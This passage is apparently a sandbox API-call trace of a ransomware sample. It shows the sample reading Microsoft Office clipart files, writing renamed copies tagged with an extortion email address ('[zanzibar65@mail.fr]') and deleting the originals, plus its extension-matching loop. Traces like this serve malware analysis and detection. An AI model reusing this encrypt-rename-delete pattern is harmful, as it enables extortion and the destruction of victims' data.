lpNumberOfBytesWritten=0x21ffc9c*=0x7120, lpOverlapped=0x0) returned 1 [0054.546] ReadFile (in: hFile=0x228, lpBuffer=0x3500020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x21ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesRead=0x21ffed4*=0x0, lpOverlapped=0x0) returned 1 [0054.546] WriteFile (in: hFile=0x234, lpBuffer=0x3500020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x21ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesWritten=0x21ffc9c*=0xec, lpOverlapped=0x0) returned 1 [0054.546] SetEndOfFile (hFile=0x234) returned 1 [0054.546] CloseHandle (hObject=0x234) returned 1 [0054.547] SetFilePointerEx (in: hFile=0x228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0054.547] SetEndOfFile (hFile=0x228) returned 1 [0054.548] CloseHandle (hObject=0x228) returned 1 [0054.548] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00146_.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0054.548] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00146_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00146_.wmf")) returned 1 [0054.548] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 63 [0054.548] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 63 [0054.548] lstrlenW (lpString=".doc") returned 4 [0054.548] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0054.548] lstrlenW (lpString=".docx") returned 5 [0054.548] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0054.548] lstrlenW (lpString=".pdf") returned 4 [0054.548] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0054.548] lstrlenW (lpString=".xls") returned 4 [0054.548] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0054.548] lstrlenW (lpString=".xlsx") returned 5 [0054.548] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0054.548] lstrlenW (lpString=".ppt") returned 4 [0054.549] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0054.549] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 63 [0054.549] lstrlenW (lpString=".zip") returned 4 [0054.549] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0054.549] lstrlenW (lpString=".rar") returned 4 [0054.549] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0054.549] lstrlenW (lpString=".bz2") returned 4 [0054.549] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0054.549] lstrlenW (lpString=".7z") returned 3 [0054.549] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0054.549] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 63 [0054.549] lstrlenW (lpString=".dbf") returned 4 [0054.549] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0054.549] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 63 [0054.549] lstrlenW (lpString=".1cd") returned 4 [0054.549] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0054.549] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 63 [0054.549] lstrlenW (lpString=".jpg") returned 4 [0054.549] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0054.549] SetFilePointerEx (in: hFile=0x228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0054.549] SetFilePointerEx (in: hFile=0x228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0054.549] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00155_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00155_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x234 [0054.550] GetLastError () returned 0x0 [0054.550] ReadFile (in: hFile=0x228, lpBuffer=0x3500020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x21ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesRead=0x21ffed4*=0x2d74, lpOverlapped=0x0) returned 1 [0054.552] WriteFile (in: hFile=0x234, lpBuffer=0x3500020*, nNumberOfBytesToWrite=0x2d80, lpNumberOfBytesWritten=0x21ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesWritten=0x21ffc9c*=0x2d80, lpOverlapped=0x0) returned 1 [0054.553] ReadFile (in: hFile=0x228, lpBuffer=0x3500020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x21ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesRead=0x21ffed4*=0x0, lpOverlapped=0x0) returned 1 [0054.553] WriteFile (in: hFile=0x234, lpBuffer=0x3500020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x21ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesWritten=0x21ffc9c*=0xec, lpOverlapped=0x0) returned 1 [0054.553] SetEndOfFile (hFile=0x234) returned 1 [0054.553] CloseHandle (hObject=0x234) returned 1 [0054.553] SetFilePointerEx (in: hFile=0x228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0054.553] SetEndOfFile (hFile=0x228) returned 1 [0054.554] CloseHandle (hObject=0x228) returned 1 [0054.554] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00155_.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0054.554] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00155_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00155_.wmf")) returned 1 [0054.554] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 63 [0054.555] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 63 [0054.555] lstrlenW (lpString=".doc") returned 4 [0054.555] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0054.555] lstrlenW (lpString=".docx") returned 5 [0054.555] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0054.555] lstrlenW (lpString=".pdf") returned 4 [0054.555] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0054.555] lstrlenW (lpString=".xls") returned 4 [0054.555] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0054.555] lstrlenW (lpString=".xlsx") returned 5 [0054.555] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0054.555] lstrlenW (lpString=".ppt") returned 4 [0054.555] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0054.555] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 63 [0054.555] lstrlenW (lpString=".zip") returned 4 [0054.555] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0054.555] lstrlenW (lpString=".rar") returned 4 [0054.555] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0054.555] lstrlenW (lpString=".bz2") returned 4 [0054.555] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0054.555] lstrlenW (lpString=".7z") returned 3 [0054.555] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0054.555] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 63 [0054.555] lstrlenW (lpString=".dbf") returned 4 [0054.555] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0054.555] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 63 [0054.555] lstrlenW (lpString=".1cd") returned 4 [0054.555] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0054.555] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 63 [0054.555] lstrlenW (lpString=".jpg") returned 4 [0054.555] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0054.556] SetFilePointerEx (in: hFile=0x228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0054.556] SetFilePointerEx (in: hFile=0x228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0054.556] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00160_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x234 [0054.557] GetLastError () returned 0x0 [0054.557] ReadFile (in: hFile=0x228, lpBuffer=0x3500020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x21ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesRead=0x21ffed4*=0x57f4, lpOverlapped=0x0) returned 1 [0054.558] WriteFile (in: hFile=0x234, lpBuffer=0x3500020*, nNumberOfBytesToWrite=0x5800, lpNumberOfBytesWritten=0x21ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesWritten=0x21ffc9c*=0x5800, lpOverlapped=0x0) returned 1 [0054.559] ReadFile (in: hFile=0x228, lpBuffer=0x3500020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x21ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesRead=0x21ffed4*=0x0, lpOverlapped=0x0) returned 1 [0054.559] WriteFile (in: hFile=0x234, lpBuffer=0x3500020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x21ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesWritten=0x21ffc9c*=0xec, lpOverlapped=0x0) returned 1 [0054.560] SetEndOfFile (hFile=0x234) returned 1 [0054.560] CloseHandle (hObject=0x234) returned 1 [0054.560] SetFilePointerEx (in: hFile=0x228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0054.560] SetEndOfFile (hFile=0x228) returned 1 [0054.561] CloseHandle (hObject=0x228) returned 1 [0054.561] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0054.561] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00160_.wmf")) returned 1 [0054.561] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 63 [0054.561] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 63 [0054.561] lstrlenW (lpString=".doc") returned 4 [0054.561] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0054.561] lstrlenW (lpString=".docx") returned 5 [0054.561] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0054.561] lstrlenW (lpString=".pdf") returned 4 [0054.562] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0054.562] lstrlenW (lpString=".xls") returned 4 [0054.562] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0054.562] lstrlenW (lpString=".xlsx") returned 5 [0054.562] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0054.562] lstrlenW (lpString=".ppt") returned 4 [0054.562] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0054.562] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 63 [0054.562] lstrlenW (lpString=".zip") returned 4 [0054.562] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0054.562] lstrlenW (lpString=".rar") returned 4 [0054.562] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0054.562] lstrlenW (lpString=".bz2") returned 4 [0054.562] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0054.562] lstrlenW (lpString=".7z") returned 3 [0054.562] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0054.562] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 63 [0054.562] lstrlenW (lpString=".dbf") returned 4 [0054.562] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0054.562] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 63 [0054.562] lstrlenW (lpString=".1cd") returned 4 [0054.562] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0054.562] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 63 [0054.562] lstrlenW (lpString=".jpg") returned 4 [0054.562] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0054.563] SetFilePointerEx (in: hFile=0x228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0054.563] SetFilePointerEx (in: hFile=0x228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0054.563] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00173_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x234 [0054.563] GetLastError () returned 0x0 [0054.563] ReadFile (in: hFile=0x228, lpBuffer=0x3500020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x21ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesRead=0x21ffed4*=0x3f34, lpOverlapped=0x0) returned 1 [0054.565] WriteFile (in: hFile=0x234, lpBuffer=0x3500020*, nNumberOfBytesToWrite=0x3f40, lpNumberOfBytesWritten=0x21ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesWritten=0x21ffc9c*=0x3f40, lpOverlapped=0x0) returned 1 [0054.566] ReadFile (in: hFile=0x228, lpBuffer=0x3500020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x21ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesRead=0x21ffed4*=0x0, lpOverlapped=0x0) returned 1 [0054.566] WriteFile (in: hFile=0x234, lpBuffer=0x3500020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x21ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesWritten=0x21ffc9c*=0xec, lpOverlapped=0x0) returned 1 [0054.566] SetEndOfFile (hFile=0x234) returned 1 [0054.566] CloseHandle (hObject=0x234) returned 1 [0054.566] SetFilePointerEx (in: hFile=0x228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0054.566] SetEndOfFile (hFile=0x228) returned 1 [0054.567] CloseHandle (hObject=0x228) returned 1 [0054.567] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0054.568] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00173_.wmf")) returned 1 [0054.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 63 [0054.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 63 [0054.568] lstrlenW (lpString=".doc") returned 4 [0054.568] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0054.568] lstrlenW (lpString=".docx") returned 5 [0054.568] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0054.568] lstrlenW (lpString=".pdf") returned 4 [0054.568] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0054.568] lstrlenW (lpString=".xls") returned 4 [0054.568] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0054.568] lstrlenW (lpString=".xlsx") returned 5 [0054.568] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0054.568] lstrlenW (lpString=".ppt") returned 4 [0054.568] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0054.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 63 [0054.568] lstrlenW (lpString=".zip") returned 4 [0054.568] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0054.568] lstrlenW (lpString=".rar") returned 4 [0054.568] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0054.568] lstrlenW (lpString=".bz2") returned 4 [0054.568] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0054.568] lstrlenW (lpString=".7z") returned 3 [0054.568] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0054.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 63 [0054.569] lstrlenW (lpString=".dbf") returned 4 [0054.569] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0054.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 63 [0054.569] lstrlenW (lpString=".1cd") returned 4 [0054.569] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0054.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 63 [0054.569] lstrlenW (lpString=".jpg") returned 4 [0054.569] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0054.569] SetFilePointerEx (in: hFile=0x228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0054.569] SetFilePointerEx (in: hFile=0x228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0054.569] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd05119_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x234 [0054.569] GetLastError () returned 0x0 [0054.569] ReadFile (in: hFile=0x228, lpBuffer=0x3500020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x21ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesRead=0x21ffed4*=0x4354, lpOverlapped=0x0) returned 1 [0054.631] WriteFile (in: hFile=0x234, lpBuffer=0x3500020*, nNumberOfBytesToWrite=0x4360, lpNumberOfBytesWritten=0x21ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesWritten=0x21ffc9c*=0x4360, lpOverlapped=0x0) returned 1 [0054.632] ReadFile (in: hFile=0x228, lpBuffer=0x3500020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x21ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesRead=0x21ffed4*=0x0, lpOverlapped=0x0) returned 1 [0054.632] WriteFile (in: hFile=0x234, lpBuffer=0x3500020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x21ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesWritten=0x21ffc9c*=0xec, lpOverlapped=0x0) returned 1 [0054.632] SetEndOfFile (hFile=0x234) returned 1 [0054.884] CloseHandle (hObject=0x234) returned 1 [0054.897] SetFilePointerEx (in: hFile=0x228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0054.904] SetEndOfFile (hFile=0x228) returned 1 [0054.919] CloseHandle (hObject=0x228) returned 1 [0054.919] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0054.920] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd05119_.wmf")) returned 1 [0054.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 63 [0054.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 63 [0054.920] lstrlenW (lpString=".doc") returned 4 [0054.920] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0054.920] lstrlenW (lpString=".docx") returned 5 [0054.920] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0054.920] lstrlenW (lpString=".pdf") returned 4 [0054.920] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0054.920] lstrlenW (lpString=".xls") returned 4 [0054.920] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0054.920] lstrlenW (lpString=".xlsx") returned 5 [0054.920] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0054.920] lstrlenW (lpString=".ppt") returned 4 [0054.920] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0054.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 63 [0054.920] lstrlenW (lpString=".zip") returned 4 [0054.920] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0054.920] lstrlenW (lpString=".rar") returned 4 [0054.920] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0054.920] lstrlenW (lpString=".bz2") returned 4 [0054.920] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0054.920] lstrlenW (lpString=".7z") returned 3 [0054.920] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0054.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 63 [0054.920] lstrlenW (lpString=".dbf") returned 4 [0054.920] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0054.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 63 [0054.921] lstrlenW (lpString=".1cd") returned 4 [0054.921] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0054.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 63 [0054.921] lstrlenW (lpString=".jpg") returned 4 [0054.921] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0054.921] SetFilePointerEx (in: hFile=0x228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0054.921] SetFilePointerEx (in: hFile=0x228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0054.921] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09194_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09194_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x234 [0054.921] GetLastError () returned 0x0 [0054.921] ReadFile (in: hFile=0x228, lpBuffer=0x3500020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x21ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesRead=0x21ffed4*=0x38cc, lpOverlapped=0x0) returned 1 [0054.923] WriteFile (in: hFile=0x234, lpBuffer=0x3500020*, nNumberOfBytesToWrite=0x38d0, lpNumberOfBytesWritten=0x21ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesWritten=0x21ffc9c*=0x38d0, lpOverlapped=0x0) returned 1 [0054.924] ReadFile (in: hFile=0x228, lpBuffer=0x3500020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x21ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesRead=0x21ffed4*=0x0, lpOverlapped=0x0) returned 1 [0054.924] WriteFile (in: hFile=0x234, lpBuffer=0x3500020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x21ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesWritten=0x21ffc9c*=0xec, lpOverlapped=0x0) returned 1 [0054.924] SetEndOfFile (hFile=0x234) returned 1 [0054.924] CloseHandle (hObject=0x234) returned 1 [0054.925] SetFilePointerEx (in: hFile=0x228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0054.925] SetEndOfFile (hFile=0x228) returned 1 [0054.925] CloseHandle (hObject=0x228) returned 1 [0054.925] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09194_.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0054.926] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09194_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09194_.wmf")) returned 1 [0054.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 63 [0054.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 63 [0054.926] lstrlenW (lpString=".doc") returned 4 [0054.926] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0054.926] lstrlenW (lpString=".docx") returned 5 [0054.926] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0054.926] lstrlenW (lpString=".pdf") returned 4 [0054.926] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0054.926] lstrlenW (lpString=".xls") returned 4 [0054.926] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0054.926] lstrlenW (lpString=".xlsx") returned 5 [0054.926] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0054.926] lstrlenW (lpString=".ppt") returned 4 [0054.926] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0054.926] lstrlenW (lpString="C:\\Program Files\\Microsoft 